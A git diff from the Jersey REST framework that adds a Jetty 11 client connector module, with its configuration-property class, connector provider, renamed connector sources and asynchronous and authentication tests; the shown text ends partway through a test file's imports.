+ <artifactId>jersey-media-json-jackson</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+ <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.xml.bind</groupId>
+ <artifactId>jakarta.xml.bind-api</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>com.sun.xml.bind</groupId>
+ <artifactId>jaxb-osgi</artifactId>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>com.sun.istack</groupId>
+ <artifactId>istack-commons-maven-plugin</artifactId>
+ <inherited>true</inherited>
+ </plugin>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <inherited>true</inherited>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.felix</groupId>
+ <artifactId>maven-bundle-plugin</artifactId>
+ <inherited>true</inherited>
+ <configuration>
+ <instructions>
+ <Import-Package>
+ ${jetty.osgi.version},
+ *
+ </Import-Package>
+ </instructions>
+ </configuration>
+ </plugin>
+ </plugins>
+ </build>
+</project>
\ No newline at end of file
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java
new file mode 100644
index 0000000..d99c918
--- /dev/null
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.Map;
+
+import org.glassfish.jersey.internal.util.PropertiesClass;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+
+/**
+ * Configuration options specific to the Client API that utilizes {@link JettyConnectorProvider}.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+@PropertiesClass
+public final class JettyClientProperties {
+
+ /**
+ * Prevents instantiation.
+ */
+ private JettyClientProperties() {
+ throw new AssertionError("No instances allowed.");
+ }
+
+ /**
+ * A value of {@code false} indicates the client should handle cookies
+ * automatically using HttpClient's default cookie policy. A value
+ * of {@code false} will cause the client to ignore all cookies.
+ * <p/>
+ * The value MUST be an instance of {@link Boolean}.
+ * If the property is absent the default value is {@code false}
+ */
+ public static final String DISABLE_COOKIES =
+ "jersey.config.jetty11.client.disableCookies";
+
+ /**
+ * The credential provider that should be used to retrieve
+ * credentials from a user.
+ *
+ * If an {@link org.eclipse.jetty.client.api.Authentication} mechanism is found,
+ * it is then used for the given request, returning an {@link org.eclipse.jetty.client.api.Authentication.Result},
+ * which is then stored in the {@link org.eclipse.jetty.client.api.AuthenticationStore}
+ * so that subsequent requests can be preemptively authenticated.
+
+ * <p/>
+ * The value MUST be an instance of {@link
+ * org.eclipse.jetty.client.util.BasicAuthentication}. If
+ * the property is absent a default provider will be used.
+ */
+ public static final String PREEMPTIVE_BASIC_AUTHENTICATION =
+ "jersey.config.jetty11.client.preemptiveBasicAuthentication";
+
+ /**
+ * A value of {@code false} indicates the client disable a hostname verification
+ * during SSL Handshake. A client will ignore CN value defined in a certificate
+ * that is stored in a truststore.
+ * <p/>
+ * The value MUST be an instance of {@link Boolean}.
+ * If the property is absent the default value is {@code true}.
+ */
+ public static final String ENABLE_SSL_HOSTNAME_VERIFICATION =
+ "jersey.config.jetty11.client.enableSslHostnameVerification";
+
+ /**
+ * Overrides the default Jetty synchronous listener response max buffer size.
+ * In practise, this allows you to read larger responses.
+ * Size in bytes.
+ * <p/>
+ * If the property is absent, the value is such as specified by Jetty (currently 2MiB).
+ */
+ public static final String SYNC_LISTENER_RESPONSE_MAX_SIZE =
+ "jersey.config.jetty11.client.syncListenerResponseMaxSize";
+
+ /**
+ * Total timeout interval for request/response conversation, in milliseconds.
+ * Opposed to {@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}.
+ * <p>
+ * The value MUST be an instance convertible to {@link Integer}. The
+ * value of zero (0) is equivalent to an interval of infinity.
+ * </p>
+ * <p>
+ * The default value is zero (infinity).
+ * </p>
+ * <p>
+ * The name of the configuration property is <tt>{@value}</tt>.
+ * </p>
+ *
+ * @since 2.37
+ */
+ public static final String TOTAL_TIMEOUT = "jersey.config.jetty11.client.totalTimeout";
+
+ /**
+ * Get the value of the specified property.
+ *
+ * If the property is not set or the real value type is not compatible with the specified value type, returns {@code null}.
+ *
+ * @param properties Map of properties to get the property value from.
+ * @param key Name of the property.
+ * @param type Type to retrieve the value as.
+ * @param <T> Type of the property value.
+ * @return Value of the property or {@code null}.
+ *
+ * @since 2.8
+ */
+ public static <T> T getValue(final Map<String, ?> properties, final String key, final Class<T> type) {
+ return PropertiesHelper.getValue(properties, key, type, null);
+ }
+
+}
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
similarity index 95%
rename from connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java
rename to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
index d85ec4d..7565b4b 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
@@ -107,7 +107,7 @@
* <pre>
* {@code
* ClientConfig config = new ClientConfig();
- * Connector connector = new JettyConnector(config);
+ * Connector connector = new Jetty11Connector(config);
* config.connector(connector);
* Client client = ClientBuilder.newClient(config);
*
@@ -144,7 +144,7 @@
* @param jaxrsClient JAX-RS client instance, for which the connector is created.
* @param config client configuration.
*/
- protected JettyConnector(final Client jaxrsClient, final Configuration config) {
+ public JettyConnector(final Client jaxrsClient, final Configuration config) {
this.configuration = config;
HttpClient httpClient = getRegisteredHttpClient(config);
@@ -206,9 +206,9 @@
}
final Object slResponseMaxSize = configuration.getProperties()
- .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
+ .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
if (slResponseMaxSize != null && slResponseMaxSize instanceof Integer
- && (Integer) slResponseMaxSize > 0) {
+ && (Integer) slResponseMaxSize > 0) {
this.syncListenerResponseMaxSize = Optional.of((Integer) slResponseMaxSize);
}
else {
@@ -268,7 +268,7 @@
* Get the {@link CookieStore}.
*
* @return the {@link CookieStore} instance or null when
- * JettyClientProperties.DISABLE_COOKIES set to true.
+ * Jetty11ClientProperties.DISABLE_COOKIES set to true.
*/
public CookieStore getCookieStore() {
return cookieStore;
@@ -293,12 +293,12 @@
}
else {
final FutureResponseListener listener
- = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
+ = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
jettyRequest.send(listener);
jettyResponse = listener.get();
}
HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
- JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
+ JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
final jakarta.ws.rs.core.Response.StatusType status = jettyResponse.getReason() == null
? Statuses.from(jettyResponse.getStatus())
@@ -444,13 +444,13 @@
try {
final CompletableFuture<ClientResponse> responseFuture = new CompletableFuture<ClientResponse>();
responseFuture.whenComplete(
- (clientResponse, throwable) -> {
- if (throwable != null && throwable instanceof CancellationException) {
- // take care of future cancellation
- jettyRequest.abort(throwable);
+ (clientResponse, throwable) -> {
+ if (throwable != null && throwable instanceof CancellationException) {
+ // take care of future cancellation
+ jettyRequest.abort(throwable);
- }
- });
+ }
+ });
final AtomicReference<ClientResponse> jerseyResponse = new AtomicReference<>();
final ByteBufferInputStream entityStream = new ByteBufferInputStream();
@@ -459,7 +459,7 @@
@Override
public void onHeaders(final Response jettyResponse) {
HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
- JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
+ JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
if (responseFuture.isDone()) {
if (!callbackInvoked.compareAndSet(false, true)) {
@@ -549,4 +549,4 @@
throw new ProcessingException("Failed to stop the client.", e);
}
}
-}
+}
\ No newline at end of file
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
new file mode 100644
index 0000000..167683a
--- /dev/null
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.internal.util.JdkVersion;
+
+/**
+ * A {@link ConnectorProvider} for Jersey {@link Connector connector}
+ * instances that utilize the Jetty HTTP Client to send and receive
+ * HTTP request and responses.
+ * <p>
+ * The following connector configuration properties are supported:
+ * <ul>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
+ * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>*
+ * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li>
+ * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
+ * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li>
+ * </ul>
+ * </p>
+ * <p>
+ * This transport supports both synchronous and asynchronous processing of client requests.
+ * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE.
+ * </p>
+ * <p>
+ * Typical usage:
+ * </p>
+ * <pre>
+ * {@code
+ * ClientConfig config = new ClientConfig();
+ * config.connectorProvider(new JettyConnectorProvider());
+ * Client client = ClientBuilder.newClient(config);
+ *
+ * // async request
+ * WebTarget target = client.target("http://localhost:8080");
+ * Future<Response> future = target.path("resource").request().async().get();
+ *
+ * // wait for 3 seconds
+ * Response response = future.get(3, TimeUnit.SECONDS);
+ * String entity = response.readEntity(String.class);
+ * client.close();
+ * }
+ * </pre>
+ * <p>
+ * Connector instances created via Jetty HTTP Client-based connector provider support only
+ * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}.
+ * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no
+ * effect on Jetty HTTP Client-based connectors.
+ * </p>
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Marek Potociar
+ * @since 2.5
+ */
+public class JettyConnectorProvider implements ConnectorProvider {
+
+ @Override
+ public Connector getConnector(Client client, Configuration runtimeConfig) {
+ if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ return new JettyConnector(client, runtimeConfig);
+ }
+
+ /**
+ * Retrieve the underlying Jetty {@link HttpClient} instance from
+ * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
+ * configured to use {@code JettyConnectorProvider}.
+ *
+ * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
+ * {@code JettyConnectorProvider}.
+ * @return underlying Jetty {@code HttpClient} instance.
+ *
+ * @throws IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
+ * nor {@code JerseyWebTarget} instance or in case the component
+ * is not configured to use a {@code JettyConnectorProvider}.
+ * @since 2.8
+ */
+ public static HttpClient getHttpClient(Configurable<?> component) {
+ if (!(component instanceof Initializable)) {
+ throw new IllegalArgumentException(
+ LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+ }
+
+ final Initializable<?> initializable = (Initializable<?>) component;
+ Connector connector = initializable.getConfiguration().getConnector();
+ if (connector == null) {
+ initializable.preInitialize();
+ connector = initializable.getConfiguration().getConnector();
+ }
+
+ if (connector instanceof JettyConnector) {
+ return ((JettyConnector) connector).getHttpClient();
+ }
+
+ throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+ }
+}
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
similarity index 94%
rename from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
rename to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
index b061ef5..95782f2 100644
--- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
similarity index 84%
copy from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
copy to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
index 59c8fd3..de6453b 100644
--- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,9 +15,7 @@
*/
package org.glassfish.jersey.jetty.connector;
-import jakarta.ws.rs.ProcessingException;
import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
/**
* Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}.
@@ -53,9 +51,6 @@
@Override
public HttpClient getHttpClient() {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
- return null; // does not work at JDK 1.8
+ return httpClient;
}
}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
similarity index 73%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
index dd25372..8416cf4 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,8 @@
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
+ * Jetty Client.
+ */
+package org.glassfish.jersey.jetty.connector;
diff --git a/connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties b/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
similarity index 100%
rename from connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties
rename to connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java
new file mode 100644
index 0000000..8755aaf
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Asynchronous connector test.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Marek Potociar
+ */
+public class AsyncTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
+ private static final String PATH = "async";
+
+ /**
+ * Asynchronous test resource.
+ */
+ @Path(PATH)
+ public static class AsyncResource {
+ /**
+ * Typical long-running operation duration.
+ */
+ public static final long OPERATION_DURATION = 1000;
+
+ /**
+ * Long-running asynchronous post.
+ *
+ * @param asyncResponse async response.
+ * @param id post request id (received as request payload).
+ */
+ @POST
+ public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
+ LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
+ try {
+ Thread.sleep(OPERATION_DURATION);
+ return "DONE-" + id;
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ return "INTERRUPTED-" + id;
+ } finally {
+ LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
+ }
+ }
+ }, "async-post-runner-" + id).start();
+ }
+
+ /**
+ * Long-running async get request that times out.
+ *
+ * @param asyncResponse async response.
+ */
+ @GET
+ @Path("timeout")
+ public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+ LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
+ asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+ @Override
+ public void handleTimeout(AsyncResponse asyncResponse) {
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+ .entity("Operation time out.").build());
+ }
+ });
+ asyncResponse.setTimeout(1, TimeUnit.SECONDS);
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+ .entity("Operation time out.").build());
+
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
+ // simulated using sleep()
+ try {
+ Thread.sleep(5 * OPERATION_DURATION);
+ return "DONE";
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ return "INTERRUPTED";
+ } finally {
+ LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
+ }
+ }
+ }).start();
+ }
+
+ }
+
+ @Override
+ protected Application configure() {
+ return new ResourceConfig(AsyncResource.class)
+ .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ // TODO: fails with true on request - should be fixed by resolving JERSEY-2273
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ /**
+ * Test asynchronous POST.
+ *
+ * Send 3 async POST requests and wait to receive the responses. Check the response content and
+ * assert that the operation did not take more than twice as long as a single long operation duration
+ * (this ensures async request execution).
+ *
+ * @throws Exception in case of a test error.
+ */
+ @Test
+ public void testAsyncPost() throws Exception {
+ final long tic = System.currentTimeMillis();
+
+ // Submit requests asynchronously.
+ final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
+ final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
+ final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
+ // get() waits for the response
+ final String r1 = rf1.get().readEntity(String.class);
+ final String r2 = rf2.get().readEntity(String.class);
+ final String r3 = rf3.get().readEntity(String.class);
+
+ final long toc = System.currentTimeMillis();
+
+ assertEquals("DONE-1", r1);
+ assertEquals("DONE-2", r2);
+ assertEquals("DONE-3", r3);
+
+ assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
+ }
+
+ /**
+ * Test accessing an operation that times out on the server.
+ *
+ * @throws Exception in case of a test error.
+ */
+ @Test
+ public void testAsyncGetWithTimeout() throws Exception {
+ final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+
+ // get() waits for the response
+ assertEquals(503, response.getStatus());
+ assertEquals("Operation time out.", response.readEntity(String.class));
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java
new file mode 100644
index 0000000..be077c9
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class AuthFilterTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testAuthGetWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testAuthPostWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().post(Entity.text("POST"));
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+
+ @Test
+ public void testAuthDeleteWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().delete();
+ assertEquals(204, response.getStatus());
+ }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
new file mode 100644
index 0000000..27ca10a
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
@@ -0,0 +1,197 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+
+import jakarta.inject.Singleton;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.eclipse.jetty.client.util.BasicAuthentication;
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
